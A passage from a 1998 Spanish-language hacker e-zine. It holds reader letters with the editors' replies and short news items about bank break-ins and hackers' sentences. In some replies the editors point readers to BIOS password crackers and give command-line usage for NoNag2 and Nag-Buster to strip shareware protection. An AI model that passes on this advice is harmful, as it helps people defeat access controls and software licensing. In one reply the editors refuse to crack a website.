  5890. <────────────────────────────────────────────────────────────────────────────>
  5891.  
  5892.   From avillalo@xxxxxxxxxxxxxx Fri Feb 20 11:50:54 1998
  5893.   To: conde_vampiro@hotmail.com
  5894.   Subject: Clave Maestra
  5895.  
  5896.   Hola estimado conde Vanmpiro por medio de este imail 
  5897.   quisiera preguntarte si sabes o as visto en alguna 
  5898.   parte de la RED, la combinacion de teclas 
  5899.   conocidas popularmente como: Clave Maestra Unica 
  5900.   (Version GA.04.06 de ROM BIOS Pc's HP Vectra 486).
  5901.  
  5902.   Te agradecere cualquier comentario al respecto
  5903.  
  5904.   Nota : Hewlett Packard niega la existencia de este 
  5905.   tipo de clave maestra, sin embargo ya comprobe
  5906.   su existencia y me lo mostraron pero no me 
  5907.   quisieron dar la combinacion.
  5908.  
  5909.   SALUDOS
  5910.  
  5911.   avillalo@xxxxxxxxxxxxxx
  5912.  
  5913.   <------>
  5914.  
  5915.   [ Pues lo primero mi nick se escribe Vampiro :)
  5916.     Supongo lo que preguntas es como acceder a la BIOS, pues facil. Cuando
  5917.     el ordenador este cargando la memoria (justo al principio de encenderlo)
  5918.     pulsamos "ESC" o "SUPR" (depende el ordenador) y accederas al menu de la
  5919.     BIOS. Si esta tuviese algun password que no conoces le metes un
  5920.     crackeador de BIOS (disponibles en nuestro web) y ya esta.
  5921.     Como advertencia te dire que si manipulas la BIOS y estropeas algo, la
  5922.     garantia no sera valida y tendras que pagar por repararlo. ]
  5923.  
  5924. <────────────────────────────────────────────────────────────────────────────>
  5925.  
  5926.   Date: Tue, 24 Feb 1998 11:42:17 MDT
  5927.   From: "frank" <crazy@xxxxxxxxxxxxxx>
  5928.   To: conde_vampiro@usa.net
  5929.   Subject: Hola
  5930.  
  5931.   Hola otra vez, conde te aseguro no traigo ajos ni nada parecido, bueno
  5932.   he visto tu rinkon de wes y nostamal, yo en mi modesta posicion de 
  5933.   observador tengo que decir que !!!!ME GUSTARIA TENER UNA 
  5934.   PAGINAAAAA!!!!!, espero que cuando pueda hacerla (te digo quel diseqo 
  5935.   yasta hecho) mayudes con temas de ... (tu ya mentiendes), lo que no se 
  5936.   es de donde podria colgar una pagina asi, enviame un mailcito para ver 
  5937.   donde podria, toy aki: fperet@xxxxxxxxxxxxxx 
  5938.  
  5939.   bueno espero que me des alguna respuesta, y si no pues que lo pases 
  5940.   guay. 
  5941.  
  5942.   HASTA LA VISTA, BABY.... 
  5943.  
  5944.   <------>
  5945.  
  5946.   [ Pues thx por tus cumplidos pero nosotros no nos dedicamos a buscar
  5947.     sitios para albergar web's ademas tampoco es dificil encontrar estos
  5948.     servidores pero esta vez hare una excepcion pero no os acostumbreis !!
  5949.  
  5950.     - www.geocities.com
  5951.     - www.angelfire.com
  5952.     - www.islatortuga.com
  5953.     - www.netaddress.usa.net
  5954.     - www.bayside.net ]
  5955.  
  5956. <────────────────────────────────────────────────────────────────────────────>
  5957.  
  5958.   Date: Sun, 22 Feb 1998 17:13:52 MDT
  5959.   From: Miguel Angel Ramirez <vermar1@xxxxxxxxxxxxxx>
  5960.   To: mac_crack@usa.net Cc: conde_vampiro@usa.net
  5961.   Subject: Pidiendo informacion 
  5962.  
  5963.   Hola Amigos!
  5964.   Les escribo de Jalisco y realmente creo que su pagina 
  5965.   es muy buena, pero creo que eso ya se los han dicho, 
  5966.   asi que pasare al motivo de mi correo. 
  5967.   Lo que pasa es que he bajado los archivos de Nonag2 y 
  5968.   Nagbuster, lo que se encargan de anular los codigos 
  5969.   de proteccion del shareware, pero resulta que no 
  5970.   tengo idea de como hacerlos funcionar, para que 
  5971.   desactiven esos codigos. Por ejemplo, con el nonag2, 
  5972.   trato de correr el ejecutable y me dice que necesito 
  5973.   especificar un directorio,pero no encuentro manera de 
  5974.   hacer eso. Por lo mismo quisiera ver si es posible 
  5975.   que me escriban un correo explicandome como funcionan 
  5976.   estos programas. De ante mano les agradezco su 
  5977.   informacion. Hasta la vista. 
  5978.  
  5979.   === 
  5980.  
  5981.   Puede escribir una copia de su correo tambien a
  5982.   vermar@xxxxxxxxxxxxxx
  5983.  
  5984.   <------>
  5985.  
  5986.   [ Pues facil ;-)
  5987.  
  5988.    - el Nonag2 tienes que ejecuatarlo de la siguiente manera :
  5989.  
  5990.    c:\>nonag2 <fichero_que_quieras_modificar> 
  5991.  
  5992.    - Y el Nag-Buster, solo tienes que ejecutar el :
  5993.  
  5994.    c:\>buster
  5995.  
  5996.     y accederas a un menu, y las 2 primeras opciones son los listados los
  5997.     cuales el Nag-Buster les quita la proteccion.
  5998.  
  5999.     Bueno pues espero que tus dudas esten aclaradas. La verdad es que muchas
  6000.     veces estos programas no rulan bien, ademas solo suelen funcionar con
  6001.     programas antiguos, por lo que es recomendable que busces algun
  6002.     crack especifico para el programa que quieras 'alterar'. ]
  6003.  
  6004. <────────────────────────────────────────────────────────────────────────────>
  6005.  
  6006.   Subject: hpola
  6007.   To: jjf_team@hotmail.com
  6008.   Date: Tue, 24 Feb 1998 10:30:11 MET
  6009.   From: 444525@xxxxxxxxxxxxxx 
  6010.  
  6011.   BUenas,hackers..
  6012.   Os escribo pa felicitarospor vuestra revista..es bastante buenecilla.. y pa
  6013.   deciros ke sigais kon ella adelante,ke lo normal es ir kada vez a mas..y ke
  6014.   si los primero snumeros son tan buenos entonces.. ;)
  6015.   Bueno,tan bienm os escribo pa haceros una preguntilla...a ver,pa subir un
  6016.   archivo a una kuenta ke tengo..eske por ftp no puedo entrar...y otra kosa...
  6017.   hotmail es tan seguro komo parece?
  6018.   Gracias.tios.
  6019.  
  6020.   red rUsH
  6021.  
  6022.   <------>
  6023.  
  6024.   [ Thx por la felicitacion e intentamos mejorar cada numero, como te habras
  6025.     dado cuenta en este numero ;-)
  6026.     Por ftp no te deja ?? pues has intentado usar el kermit, por ejemplo ?
  6027.     si tampoco no rula, pues envialo por mail como un "adjunto" a tu cuenta
  6028.     y listos.
  6029.     Lo de Hotmail, pues por lo visto ha sido adquirido por Microsoft pero
  6030.     segun la compañia todo seguira igual. Aqui hay 2 puntos de vista, por una
  6031.     parte puede que no sea seguro pero al igual Microsoft tampoco puede
  6032.     meterse en estos lios si vigila el Hotmail, ya que esta metido en varios
  6033.     pleitos, o sea que tu decides.
  6034.     Nosotros hemos cambiado de cuenta de mail, por varios motivos ( uno de
  6035.     ellos, es ese :). ]
  6036.  
  6037. <────────────────────────────────────────────────────────────────────────────>
  6038.  
  6039.   Date: Thu, 26 Feb 1998 23:13:59 MDT
  6040.   From: "asesino" <asesino@xxxxxxxxxxxxxx> 
  6041.  
  6042.   Holas paseando he caido en vuestra wes , me ha parecido buena pero 
  6043.   hecho en falta que los e-zines esten en un zip comprimidos para 
  6044.   ahorrarme leerlos onlines por los cuartos del telefono , el ezine 
  6045.   toavia no me ha dao tiempo a leerlo asi que no digo na. Por lo demas 
  6046.   seguid asi que esto esta muy bien , ahh otro consejito pillad pgp pa 
  6047.   encriptar el mail asi no os leeran el correo y pones las llaves 
  6048.   publicas en la web , usad la version 263.i que genera claves rsa que 
  6049.   son mas seguras que la 5 para windows , bueno bye 
  6050.   bueno hay va mi llave publica pal que la quiera : 
  6051.  
  6052.   Type Bits/KeyID Date User ID
  6053.   pub 2048/44D3E411 1998/02/26 asesino <asesino@arrakis.es> 
  6054.  
  6055. -----BEGIN PGP PUBLIC KEY BLOCK----- 
  6056. Version: 2.6.3i 
  6057.  
  6058. mQENAzT1dBUAAAEIANaRs9pMeaQD8rUNMSLQ8yTvCb4N7VmNO4mOO00n/He+tzHx 
  6059. 12kI4GCwR0aoQbUjj30WPzR73BINc7ebaJ5lr7bsZVtx+QfHQVJajt2WhMdvwkuU 
  6060. OO8p7G1YRkjZbr48eUg83IuRTTV67ULKPwyJfecg/biFIyJMiC4Mxq0qj8ixsPKA 
  6061. G7P/Sx729b78S2O23ZsjAemAJndMkD9GNBOtZM294SwJYm+pHfUC0+Jh2z0l2kjg 
  6062. E9THZ2lyrA8lFFkoz9UmTNG7wHJ3CYxEmBLtofro0n8pDBidnsfe9UGrq4HJtj9Z 
  6063. 4emp6rr6q/7nFvxwrNpBHw1Gkxn5iJzPDkTT5BEABRG0HGFzZXNpbm8gPGFzZXNp 
  6064. bm9AYXJyYWtpcy5lcz6JARUDBRA09XQViJzPDkTT5BEBAcm9B/9pq2vTq9vbpW91 
  6065. qdIbpz07ae7Ea3mmh4WA0y7/ANvDkGAgwPyZ1CpX3KjkIkfRCiO8buoRH2lPKYi6 
  6066. yA95r8slrp0sSElnguIQN6/yulV50jfOsvBB9PrrMg7YIzTtjLqiF7p0QQE8zAce 
  6067. ehmSHy3m19Gk3offow1jeFdHwEwIn3JsMsBnU4WM6UaWXXitqWSc0s7HeEQYP1wj 
  6068. fB33cmFYbpPZoKSaAoeb0/sA8NlKicD/nCtarwDdqH+2iPP3NGGaBpzMZzXH6JUA 
  6069. +s0EUapB2/3Mm1kXXU6FuC9qSYC+fCo9wor+mnUpwp3cSpjI9jV62CrfXkV4IAC8 
  6070. YJ/MTb88 
  6071. =4SJA 
  6072. -----END PGP PUBLIC KEY BLOCK----- 
  6073.  
  6074.   <------>
  6075.  
  6076.   [ Primero no nos interesa poner el ezine en zip por el momento, ya que asi
  6077.     es "llegar y leer" (nuevo concepto informatico, que estamos intentando
  6078.     que sea estandarizado por la ISO }:-), la verdad es que lo preferimos asi.
  6079.     Ademas la idea es de pillarlo y lo lees en tu ordenador off-line o como
  6080.     mas te guste y donde sea sin ningun problema.
  6081.     Segundo, de pgp ya sabemos un rato y tenemos ambas versiones que comentas,
  6082.     de porque no estan las llaves en el web?? facil, no las hemos puesto,
  6083.     pero thx de todas formas y esperamos seguir en esta linea con el web y el
  6084.     ezine :) ]
  6085.  
  6086. <────────────────────────────────────────────────────────────────────────────>
  6087.  
  6088.   From: "Ramon Muntane" <rmuntane@xxxxxxxxxxxxxx>   
  6089.   To: <jjf_team@hotmail.com>
  6090.   Subject: ayuda
  6091.   Date: Sat, 28 Feb 1998 22:51:00 +0100
  6092.  
  6093.   ->buenas noches. Necesitaria, si ustedes quieren hacer el favor de intentar
  6094.   crakear una pagina web, es la siguiente WWW.CONECTA.ES/CEEB muchas gracias
  6095.  
  6096.   <------>
  6097.  
  6098.   [ Como te lo podria decir para que lo entiendas??, hhhaaaa si, acaso
  6099.     tenemos pinta de delincuentes ?? porque eso es delito y nosotros
  6100.     "cumplimos la ley" }:-), la proxima vez que quieras enviar un mail
  6101.     como este, OLVIDATE DE NOSOTROS, okis ? ]
  6102.  
  6103. <────────────────────────────────────────────────────────────────────────────>
  6104.  
  6105.   Date: Mon, 02 Mar 1998 16:45:47 MDT
  6106.   From: "Fernando_Julian_Cejas" <fcejas@xxxxxxxxxxxxxx>
  6107.   To: Subject: Soy_fanatico_de_ustedes_compadres? 
  6108.  
  6109.   Me llamo Fernando y desde la primera vez que entre en la pagina me gusto
  6110.   muchisimo. 
  6111.   Que tengan mucha suerte y un gran saludo 
  6112.  
  6113.   FERNANDO 
  6114.  
  6115.   <------>
  6116.  
  6117.   [ Thx a ti por tu apoyo con nosotros ;-)
  6118.     Y esperamos que sigas siendo fan nuestro y si te animas nos escribes
  6119.     algun articulo.
  6120.     Saludos de - J.J.F. / HACKERS TEAM - ]
  6121.  
  6122. <────────────────────────────────────────────────────────────────────────────>
  6123. ██████████████████████████████████████████████████████████████████████████████
  6124. <────────────────────────────────────────────────────────────────────────────>
  6125.  
  6126.                            ------------------------
  6127.                            - NOTICIAS UNDERGROUND -
  6128.                            ------------------------
  6129.   
  6130.                                                 - J.J.F. / HACKERS TEAM -
  6131.  
  6132. <────────────────────────────────────────────────────────────────────────────>
  6133.   RECOMPENSA POR UN HACKER QUE ENTRO EN UN BANCO ALEMAN.
  6134.  
  6135.   Date: Sat, 17 Jan 1998 14:10:26 -0500 
  6136.  
  6137.         La compañia bancaria alemana Noris Verbraucherbank, ofrecia el sabado
  6138.   unos 10.000 o 5.800 marcos, por la captura de un Hacker que amenazaba con
  6139.   revelar los codigos secretos de los clientes del banco.
  6140.  
  6141.         Este peculiar Hacker exigia un millon de marcos del banco, despues de
  6142.   que este cogiera unos 500.000 marcos de las cuentas del banco y accediendo
  6143.   a una amplia informacion confidencial, dijo la policia.
  6144.  
  6145.         Amenaza con revelar esta informacion confidencial, obtenida mediante
  6146.   la copia de los ordenadores en 2 sucursales, si el banco no paga sus
  6147.   exigencias.
  6148.  
  6149.         El Bild Daily publico una foto del hacker el sabado, nostrando un
  6150.   hombre con una edad entre 25 y 35, llevando gafas redondas. La foto fue
  6151.   tomada por un cajero automatico.
  6152.  
  6153.         Noris Verbrauckerbak es una banca privada adquirida en 1997 por otra
  6154.   compañia bancaria, la Bayerische Vereinsbank. Tiene unas 70 sucursales por
  6155.   el pais.
  6156.  
  6157. <────────────────────────────────────────────────────────────────────────────>
  6158.   HACKER ACUSADO DE ACTOS HACKING VALORADOS EN $3,7 MILLONES DE DOLARES.
  6159.  
  6160.   NEW YORK, Jan. 23 (UPI).
  6161.  
  6162.         Un hacker ruso de 30 años sera condenado a 5 años de carcel y por lo
  6163.   menos unos $250,000 dolares en multas por haber sustraido unos $4 millones
  6164.   de dolares en Citibank.
  6165.  
  6166.         La abogada americana Mary Jo White dijo que Vladimir Leonidovich
  6167.   Levin consiguio acceso a los ordenadores del banco desde San Petersburgo,
  6168.   Russia, usando un programa bancario especial para robar el dinero.
  6169.  
  6170.         Levin admitio que transfirio $3,7 millones de las cuentas de los
  6171.   clientes hacia otras cuentas controladas por el y otros camaradas. Levin
  6172.   sera juzgado el 24 de Febrero.
  6173.  
  6174.         Levin entro en las cuentas bancarias mediante un servicio llamado
  6175.   Financial Institutions Citibank Case Manager, que Citibank creo en 1994
  6176.   para permitir a sus clientes transferir fondos desde sus cuentas a otras
  6177.   instituciones financieras en cualquier lugar del mundo.
  6178.  
  6179.         Los clientes tienen que meter un codigo de identificacion y una
  6180.   contraseña para conseguir el acceso a este servicio.
  6181.  
  6182.         Levin uso el programa por lo menos unas 18 veces durante el verano
  6183.   de 1994 para conseguir acceso en las cuentas de los clientes. Luego 
  6184.   transferia los fondos a cuentas que el o sus camaradas controlaban en
  6185.   Finlandia, los Estados Unidos, Holanda, Alemania e Israel.
  6186.  
  6187.   Nota : Sobre este hacker ya hubo un articulo en el numero 2.
  6188.  
  6189. <────────────────────────────────────────────────────────────────────────────>
  6190.   EL PRIMER HACKER RUSO SENTENCIADO A ...
  6191.  
  6192.   YUZHNO-AKHALINSK, January 19 (Itar-Tass)
  6193.  
  6194.         Un juzgado en Yuzhno Sakkalinsk en el lejano Este, sentencio el lunes
  6195.   al primer hacker ruso acusado por sus actos delictivos y culpables de ello,
  6196.   a 3 años en periodo de prueba, dijeron las autoridades de seguridad locales.
  6197.  
  6198.         Por otro lado, el Hacker a sido multado con 200 salarios minimos
  6199.   (unos 2,800 dolares) y tambien a sido obligado a pagar 1,770 (unos 300
  6200.   dolares) a los trabajadores perjudicados por sus actos, dijo la fuente de
  6201.   la informacion.
  6202.  
  6203.         Una investigacion sobre los actos hacking en los sistemas informaticos
  6204.   afectados y una ley que refuerze el cumplimiento de estas normas, fueron
  6205.   comenzados en Mayo, dijo el, añadiendo que los encargados de seguridad
  6206.   garantizan evidencias criminales de que un estudiante universitario esta
  6207.   envuelto en entrar en el sistema informatico y pillar informacion de los
  6208.   clientes de Sakhmail.
  6209.  
  6210.         El Hacker copio informacion comercial e informacion confidencial,
  6211.   pero el juzgado no pudo demostrar que vendio esta informacion. Sin embargo,
  6212.   los encargados de la seguridad esperan que la sentencia haga reflexionar
  6213.   a los intrusos antes de entrar en un sistema informatico sin permiso alguno.
  6214.  
  6215. <────────────────────────────────────────────────────────────────────────────>
  6216.   BILL GATES RECIBE UNA TARTA EN PLENO ROSTRO, EN BRUSELAS.
  6217.  
  6218.         "Nada aplazara el lanzamiento del Windows 98 en junio", decia ayer
  6219.   Bill Gates, presidente de Microsoft. El rey de la informatica no tuvo que
  6220.   esperar tanto para que otro lanzamiento, el de una tarta, hiciera diana en
  6221.   su cara y le amargara su visita a Bruselas. El atentado pastelero fue
  6222.   reivindicado por el showman Noul Godin, especialista en estos saraos, que
  6223.   ya tuvo como victimas al cineasta Godard y al filosofo Bernard-Henri Luvy.
  6224.   El ataque a la crema tuvo lugar cuando el magnate iba a dar una conferencia,
  6225.   y en el participaron una treintena de personas. Cuatro tartas salieron por
  6226.   los aires, y una le dio de lleno a Gates, que no presentara denuncia. 
  6227.  
  6228.   Nota : Texto enviado por nuestro lector Cesar.
  6229.  
  6230. <────────────────────────────────────────────────────────────────────────────>
  6231. ██████████████████████████████████████████████████████████████████████████████
  6232. <────────────────────────────────────────────────────────────────────────────>
  6233.  
  6234.         Bueno aqui se acaba nuestro tercer numero y espero que os halla
  6235.   gustado, como a nosotros hacerlo. Y como seguro haveis podido apreciar
  6236.   en cada numero vamos cogiendo mas soltura con lo que producimos un ezine
  6237.   de mejor calidad para todos los gustos. Y como aperitivo os dire que ya
  6238.   hemos empezado el numero 4 y promete tener articulos muy suculentos para
  6239.   todos los hackers, logicamente no sabemos la fecha de salidad del 4 por lo
  6240.   que tendreis que esperar, pero hasta dentro de un par de meses nada de
  6241.   nada (pero en ese periodo de tiempo iran saliendo otras cosas en el
  6242.   web ;-).
  6243.  
  6244.   Como siempre digo y nunca parare en repetirme, si quieres decirnos algo,
  6245.   escribir un articulo (que estaria muy bien por vuestra parte :),
  6246.   criticarnos, sugerencias o cualquier cosa que nos quieras comentar,
  6247.   escribe a:
  6248.  
  6249.   jjf_team@usa.net
  6250.  
  6251.                          ADIOS Y HASTA EL SIGUIENTE NUMERO!!!
  6252.                                - J.J.F. / HACKERS TEAM -
  6253.  
  6254. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
  6255.